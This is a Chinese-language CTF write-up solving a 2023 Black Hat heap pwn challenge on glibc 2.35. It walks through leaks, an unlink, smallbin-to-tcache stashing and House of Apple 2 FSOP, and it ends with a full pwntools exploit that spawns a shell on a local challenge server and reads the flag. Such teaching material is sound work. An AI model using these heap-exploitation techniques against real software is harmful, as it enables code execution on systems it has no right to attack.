前言

这个是2023 black hat第二天的一道0解pwn题

https://gitee.com/csomebro/ctftask/blob/master/2023-11_BlackHat/houseofminho.zip

题目

出题人很友好的给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define SIZE_SMALL 0x40
#define SIZE_BIG 0x80

char *g_buf;

int getint(const char *msg) {
int val;
printf("%s", msg);
if (scanf("%d%*c", &val) != 1) exit(1);
return val;
}

int main() {
setvbuf(stdout, NULL, _IONBF, 0);

while (1) {
puts("1. new\n2. show\n3. delete");
switch (getint("> ")) {
case 1: { /* new */
if (g_buf) {
puts("[-] Buffer in use");
break;
}

if (getint("Size [1=small / 2=big]: ") == 1) {
g_buf = (char*)malloc(SIZE_SMALL);
} else {
g_buf = (char*)malloc(SIZE_BIG);
}

printf("Data: ");
read(STDIN_FILENO, g_buf, SIZE_BIG);
g_buf[strcspn(g_buf, "\n")] = '\0';
break;
}

case 2: { /* show */
if (!g_buf) {
puts("[-] Empty buffer");
} else {
printf("Data: %s\n", g_buf);
}
break;
}

case 3: { /* delete */
if (!g_buf) {
puts("[-] Empty buffer");
} else {
free(g_buf);
g_buf = NULL;
}
break;
}

default:
puts("[+] Bye!");
return 0;
}
}
}

题面十分的简短,主要实现了三个功能,分别为

  1. add功能,可以申请malloc(0x80)以及malloc(0x40),无论申请哪一个,都会read(0, g_buf, 0x80)
  2. show功能,直接打印g_buf
  3. free功能,free(g_buf)之后,清空g_buf

Glibc 版本 为2.35-3.1

漏洞

显而易见,漏洞就在add功能中read(0, g_buf, 0x80),但是局限十分多

  1. 申请堆块的大小被严格限制,只有0x40和0x80两种申请
  2. 可以保存的堆块仅仅只有一块,也就是如果需要再次malloc,必须先free

那么会带来什么问题呢?

首先glibc 2.35已经限制了tcache bin内的chunk不能多malloc一次,也就是如果对应位置的count为0,就不会申请出来,这就否定了直接溢出修改fd导致任意地址申请的方法

1
2
3
4
5
6
7
8
9
10
p = malloc(0x40)
free(p)
p = malloc(0x80)
free(p)
p = malloc(0x40) // 重新申请回上述的0x40块
read(0, p, 0x80) // 溢出写入到下方的0x80块的fd,并修改size改小
free(p)
p = malloc(0x80)
free(p) // 由于上文改小了size,那么这里释放的时候就不会进入0x90的管理
p = malloc(0x80) // 此时再次申请,如果低版本的tcache就可以申请出任意地址,但是2.35不行

上述的做法是行不通的!上述操作之后,0x90管理的位置count已经为0了,所以下次malloc(0x80)就不会从0x90的tcache取出,无法达成任意地址申请

但是上述做法给了一个思路,我们可以通过多次free再次malloc 0x40就可以申请回来第一个堆块,并写入0x80长度,这个溢出很稳定,以及我们可以修改下一个堆块大小,使得绕过tcache多次申请0x90的堆块,那么现在我们需要修改tcachebin管理0x90的count值,使得可以任意地址申请。但是这个很难做到,怎么做呢?请读者继续往下看。

信息收集

如何泄露libc?如何泄露堆地址?

泄露Libc地址

首先我们需要使用House of orange的一个技巧,将Top Chunk的size改小,然后申请一个大的堆块就可以把,Top Chunk放入Unsorted bin内,之后利用溢出覆盖size就可以泄露libc地址了。

但是这里有一个极大的问题!Top chunk需要对其0x1000,但是已有的堆+0x40或者0x80都不可能对齐0x1000,怎么办?

这里需要提到在没有setbuf(stdin,0);的情况下,scanf的输入长文本,回调用malloc、realloc、free,其中如果scanf输入数据大小为0x1000,那么会产生一下调用

1
2
3
4
p = malloc(0x800);
p = realloc(p, 0x1000);
p = realloc(p, 0x2000);
free(p)

那么我们就可以完成Top Chunk的攻击了,以下是泄露libc的exp,并修复损坏的size

1
2
3
4
5
6
7
8
9
10
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))

此时堆块的布局如下

为何下方有0x10的两个块呢?那就需要了解一下unsortedbin的检查

_int_malloc中有这么一串代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);

if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

总结一下就是

  1. 检查当前unsorted bin内的块size位是不是合法的,是否满足0x10 <= size <= system_mem
  2. 检查当前块下物理地址相邻的下一块size是不是合法的,是否满足0x10 <= size <= system_mem
  3. 检查物理地址相邻的下一块sizeprev_size是否和自己的size相等
  4. 检查当前指针的bck->fd是否等于自己,以及自己的fd是否是main_arena内的一个特定地址
  5. 最后检查物理地址相邻的下一块的prev_inuse是不是0

那么如果正常逻辑下Top Chunk被free到unsorted bin,说明当前内存应该全部分配完了,如果原封不动直接放到unsorted bin内,就会触发上述第2、3、5的检查不合法或者溢出,所以为了防止这个事情发生,就需要在下方设置两个小哨兵块,A块的作用是满足上述第2、3、5的检查,设置prev_size等关键数据,而B块的作用是防止A块发生unlink合并,B块的prev_inuse标志是1,代表A块是使用中,所以不会发生unlink,否则unlink会报错(试想一下,如果没有B块,那么A块没有被使用的,如果申请一个刚好大小为当前unsortbin的块,再释放,那么就会触发向前合并unlink,之后由于A块的fd和bk指针问题,导致程序crash)

到这里,我们压一下脑栈,上述的unsorted bin布局,后文会使用到,我们回到泄露上

泄露heap地址

泄露heap地址相对简单,直接free当前堆块后,由于tcache bin的fd指针具有REVEAL_PTR的保护,所以Tcache bin的第一块由于fd是0,但是被加密之后会变成0 ^ (heap_adde >> 12)的值,故可以直接泄露堆地址

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

泄露并修复的exp如下(当前exp衔接泄露libc的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
... # 衔接上文泄露libc
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
# 一下两行仅仅作为临时修复,使得堆布局好看一点,正式攻击可以删除
free()
add(1, b"a" * 0x40 + p64(0) + p64(0x91))

此时heap地址、Libc地址信息已经收集完毕!我们来看看现在堆长什么样子

当前我们可控的堆块已经标注在图中,为啥叫做可控呢?因为由于tcache的原因,以及我们只能拥有一个堆块,所以free malloc交替进行我们只能控制这两个区域内存(?这两个区域内存我们应该如何做文章呢?请读者压一压脑栈继续往下看。)

利用攻击

信息收集终于结束了,堆也变成了不认识的样子,那么我们攻击的入口在哪里呢?

Small bin -> Tcache bin

答案是Small bin

为何选用Small bin呢?阅读源码我们可以知道,Small bin是有机会进入Tcache的,什么时机进入呢?在malloc中如果命中了Small bin某个大小的管理,那么就会将这个大小内的剩下所有块依次取出,放入Tcache内,直至填满Tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

也就是代码中的这个部分,下面代码中,bin就是当前small bin的位置,通过bk索引,反向查找,对于每一个Chunk依次解链,放入了Tcache bin中

1
2
3
4
5
6
7
8
9
10
11
12
13
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) {
if (tc_victim != 0) {
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内
}
}
}

目标明确,那么命中small bin需要先绕过Tcache,也就是当前Tcache[0x90]不能有free的堆块,以及需要一次malloc(0x80),那么我们伪造的small bin大小也需要是0x90

伪造Small bin(0x90)可行性讨论

如何伪造一个0x90大小的Small bin呢?进入Small bin可以从Unsorted bin进入,如何进入呢?

  1. 当前Unsorted bin中有一个0x90大小的堆块空闲
  2. malloc一次大于0x90大小的堆块size >= 0x90 && malloc(size),且不能命中Tcache

条件2比较简单满足,依旧是scanf利用

对于我们现在的堆块布局来说,我们仅仅只能控制0x90堆块size位(看上文的泄露后堆布局情况图片),这个位置能做什么文章呢?那么答案十分明朗:伪造Unsorted bin!

我们先讨论一下,是否可行,我们能溢出可控空间为0x80-0x40=0x40,这个0x40大小的空间包括了下一个堆块的prev_sizesize位置,以及堆块内容部分。假设我们能修改上图中0x90堆块的size位置改大,并能成功free,那么就会进入unsorted bin中,如果此时构造我们无法完成两块小哨兵块的布置,因为需要如下的布局

1
2
3
4
5
6
7
8
9
10
11
12
13
     | prev_size |  size  |
+--------------------+
0x00 | | 0x50 |
0x10 | | | -- 可控起始位置
+--------------------+ <- Unsorted bin
0x50 | | 0x91 |
0x90 | | |
0xD0 | | | -- 可控终止位置
+--------------------+
0xE0 | | 0x10 | -- Chunk A
+--------------------+
0xF0 | | 0x11 | -- Chunk B
+--------------------+

(可控地址指的是,我们可以通过malloc(0x40)向后写0x80字节,以及malloc(0x80)也能写0x80字节,上面例子也就是总长度可控为0x80*2-0x40=0xC0

但是可控空间完全不够布置下面的Chunk AB,要怎么办呢?我们需要可控多长呢?

在绞尽脑汁几个小时之后,我注意到了我们貌似浪费了0x50堆块中的0x40长度的大小。怎么办呢?

Unlink扩展溢出距离

这里我们可以利用Unlink手法,使得Unsorted bin向前合并,首先我们构造如下的布局

1
2
3
4
5
6
7
8
9
10
11
     | prev_size |  size      |
+------------------------+
0x00 | | 0x50 |
0x10 | fd | bk | -- 可控起始位置
0x20 | | 0x31 |
0x30 | fake fd | fake bk |
+------------------------+
0x50 | 0x30 | 0x?0 | -- 这里的prev_inuse设置为0
0x90 | | |
0xD0 | | | -- 可控终止位置
+------------------------+

使得在free掉下方堆块的时候可以向后合并,这样子就可以完成溢出可控距离的扩展

那么这个时候再来讨论一下可控长度,我们此时修改Unsorted bin内的布局,此时我们发现可控距离完全足够进行布局了!

1
2
3
4
5
6
7
8
9
10
11
12
13
     | prev_size |  size      |
+------------------------+
0x00 | | 0x50 |
0x10 | fd | bk | -- 可控起始位置
+------------------------+
0x20 | | 0x91 | <- Unsorted bin
0x90 | | |
+------------------------+
0xB0 | | 0x10 | -- Chunk A
+------------------------+
0xC0 | | 0x11 | -- Chunk B
+------------------------+
0xD0 | | | -- 可控终止位置

(仔细观察上面三个布局演示,可控起始和终止的偏移从未变化,仅仅通过Unlink之后利用率提高了)

如何实现Unlink?

只需要满足下面的条件

1
2
3
4
p->fd = p;
p->bk = p;
next(p)->prev_inuse = 0;
next(p)->prev_size = p->size;

绕过源码中,下面这个检查

1
2
3
4
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

但是但是,现在还有一个问题,实现unlink攻击,需要free掉一个大的堆块进入Unsorted bin内,也就是说,我们需要修改原来0x90堆块的size改大,并需要满足free的Unsorted bin检查,也就是,尽量不要进入向前合并流程(因为我们本来可控的空间就只有上面的[0x10,0xD0]),那么需要如何做呢?请读者再压下脑栈,马上就要串起来了,继续往下看!

伪造Unsorted bin

我们再次回顾一下当前的堆布局,可以看到当前unsorted bin下方有一个0x10和0x11的堆块,那么我们假设,如果有某种方法,使得0x90这个堆块覆盖成以下的红色框框圈起来呢?并且是否有方法让下方0x11堆块之后的prev_inuse变成1呢?(为何要为1,因为要防止合并)

什么时候能修改最下方堆块的内容呢?答案是还是scanf

scanf的缓冲区会申请再堆内,那我如果缓冲区足够大是否能够刚好往0x11堆块的后面size内写入一些数据呢?写入多少呢?

0x33!!!因为这个ascii字符是3,也就是选择free的菜单选项,什么时候写入呢?当然是最最最开始的时候,堆十分“干净”的时候啦

那么经过测试,再所有操作之前输入0xd58个字符0以及一个字符3即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def free3(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"3")

free3(0xd59) # 这里就是污染0x11堆块之后的堆块的size位置
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))

free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x40 + p64(0) + p64(0x91))

让我们再看看堆块长什么样子了

WoW!!成功污染!那么我们就能成功伪造Unsorted bin了,稍微微调以下代码可以得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
free3(0xd59) 
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))

free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 这里微调了0x90堆块的size位置,不再是修复而是伪造
add(1, b"a" * 0x40 + p64(0) + p64(0xd01))
free()
add(2, b"aaaa")
free()

此时我们可以看到unsorted bin内如愿以偿的放入了我们的Fake Chunk!

Unlink攻击以及Smallbin伪造攻击实施

感谢你耐心看到这里,相信你现在脑栈已经快爆了,终于我们迎来了弹出脑栈的步骤了

将上文的Unlink攻击实施,微调Exp可以得到如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))

free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 这里修改了unlink攻击的内容
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"aaaa")
free()

此时堆块就不那么好看了。

如此查看我们可以发现unlink成功实施了,Unsorted bin内第一个堆块从0xd00变成了0xd30

那么继续我们将伪造Small bin的攻击实施,再次微调Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))

free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
# 这次微调了这里,加入了上文提到的Chunk AB的布置
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
# 这里就开始修改Unsorted bin内容,使得在Unsorted bin内伪造一个Small bin大小的堆块
add(1, flat({
0x10: 0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x219ce0,
}, filler=b"\x00"))
show2(0x1000) # 这里触发使得Unsorted bin进入Samll bin
free()

让我们再次检验堆块的结构!完美成功进入了Small bin!!!

那么接下来我们就要开始在Small bin里面伪造一条多个0x90的链条,使得再次malloc(0x80)命中small bin的时候,放入Tcache bin中

修改Small bin

首先我们需要知道我们能改动多长?0x80长度,然而除去tcache bin的fd和bk位置,仅剩下0x70长度可以可控,也就是说,我们需要在0x70的长度中尽可能多的伪造0x90堆块,并串起来

我们仅仅只能伪造3个0x90的堆块,如何伪造?

可以参考如下图的伪造方法,可以看到这里bk连线串成了一条链

注意红色Chunk位置的fd设置,需要绕过small bin中的检查(下面源码),而黄色的绿色的fd是否需要设置,留给读者们讨论

1
2
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");

那么稍微微调一下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))

free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
add(1, flat({
0x10: 0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x219ce0,
}, filler=b"\x00"))
show2(0x1000)
free()

# 这里加上了Small bin的伪造
add(1, flat({
0x10 : {
0x00: 0,
0x08: 0x91,
0x10: heap_base + 0x2c0,
0x18: heap_base + 0x2c0 + 0x30,

0x30: 0,
0x38: 0x91,
0x40: heap_base + 0x2c0,
0x48: heap_base + 0x2c0 + 0x50,

0x50: 0,
0x58: 0x91,
0x60: heap_base + 0x2c0 + 0x30,
0x68: libc_base + 0x219d60
}
}
, filler=b"\x00"))
free()

此时堆布局如下

可以看到出现了错误,不过问题不大,源码时通过BK进行遍历的,在BK位置确实出现了3个Chunk

此时我们就可以malloc(0x80)命中一次Small bin的0x90

1
2
add(2, b"aaaa")
free()

那么此时堆块就会变成,下面这样!WoW,我们可以控制Tcache bin 0x90位置的fd指针!并且此时0x90位置的Count有3!!!

胜利的曙光就在眼前了,接下来是House of apple 2登场!

House of Apple 2

House of Apple 2的教程见https://bbs.kanxue.com/thread-273832.htm,这里膜拜一下Orz

经过我的调优可以简化到如下的布局

1
2
3
4
5
6
7
8
9
system = 0x50d60 + libc_base
fake_file = flat({
0x0: b" sh;",
0x28: system,
0xa0: fake_file_addr-0x10, # wide data
0x88: fake_file_addr+0x100, # 可写,且内存为0即可
0xD0: fake_file_addr+0x28-0x68, # wide data vtable
0xD8: libc_base + 0x2160C0, # vtable
}, filler=b"\x00")

我们需要结合当前的情况在做调整,首先我们需要再次延长可控的空间,方法也简单,毕竟Tcache bin的Count有3,我们可以先伪造一次fd到堆上,再伪造进入_IO_list_all

(为何不劫持Tcache bin管理块呢?因为我们只能拥有一个堆块,需要free之后再次malloc才能控制下一个,一旦劫持到Tcachebin 管理块,没有一个合适的size位置,是无法成功free的)

由于大小范围可控需要0xe0长度,所以我们第一个堆块需要扩展一次,使用上面的0x50的堆块对下面0x90tcache的溢出修改,使得布局如下图,这样子Chunk 1申请出来的时候,可以保证能控制到Chunk 2的fd,依旧能继续攻击,也能延长可控范围到0xf0,使得攻击成立,而Chunk 1的size改为0x71是为了防止free之后进入0x90导致后面的Chunk无法取出

那么经过简单的布置,最终攻击_IO_list_all之后,就完成了House of Apple 2的攻击

完整Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
# io = process("./minho")
io = remote("127.0.0.1", 5000)
tob = lambda x: str(x).encode()

def add(size, content):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Size [1=small / 2=big]: ", tob(size))
io.sendafter(b"Data: ", content)

def add2(size_content, content):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Size [1=small / 2=big]: ", size_content)
io.sendafter(b"Data: ", content)

def show():
io.sendlineafter(b"> ", b"2")

def show2(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"2")

def show3(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"2" + b"\x00")

def free():
io.sendlineafter(b"> ", b"3")

def free3(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"3")

free3(0xd59) # 这一行的作用见上文【伪造Unsorted bin】

# 这一部分信息收集见上文【信息收集】
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))

free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()

# 见上文【Unlink攻击以及Smallbin伪造攻击实施】
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
add(1, flat({
0x10: 0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x219ce0,
}, filler=b"\x00"))

show2(0x1000)
free()

# 见上文【修改Small bin】
add(1, flat({
0x10 : {
0x00: 0,
0x08: 0x91,
0x10: heap_base + 0x2c0,
0x18: heap_base + 0x2c0 + 0x30,

0x30: 0,
0x38: 0x91,
0x40: heap_base + 0x2c0,
0x48: heap_base + 0x2c0 + 0x50,

0x50: 0,
0x58: 0x91,
0x60: heap_base + 0x2c0 + 0x30,
0x68: libc_base + 0x219d60
}
}
, filler=b"\x00"))
free()
add(2, b"aaaa")
free()
_IO_list_all = libc_base + 0x21a680
system = 0x50d60 + libc_base

fake_file = heap_base + 0x2e0
# 见上文House of apple 2中解释
add(1, b"a"*0x10+p64(0) + p64(0x71) + p64((heap_base + 0x2d0 + 0x70)^((heap_base)>>12)))
free()
# 这里是布置House of apple 2
add(2, flat({
0x0+0x10: b" sh;",
0x28+0x10: system,
0x68: 0x71,
0x70: _IO_list_all ^((heap_base)>>12),
}, filler=b"\x00"))
free()
add(2, flat({
0xa0-0x60: fake_file-0x10,
0xd0-0x60: fake_file+0x28-0x68,
0xD8-0x60: libc_base + 0x2160C0, # jumptable
}, filler=b"\x00"))
free()
add(2, p64(fake_file))
pause(1)
io.sendline(b"0")
pause(1)
io.sendline(b"cat /flag*")

io.interactive()

Flag获得完结撒花!

本文采用CC-BY-SA-4.0协议,转载请注明出处
作者: Csome
Hits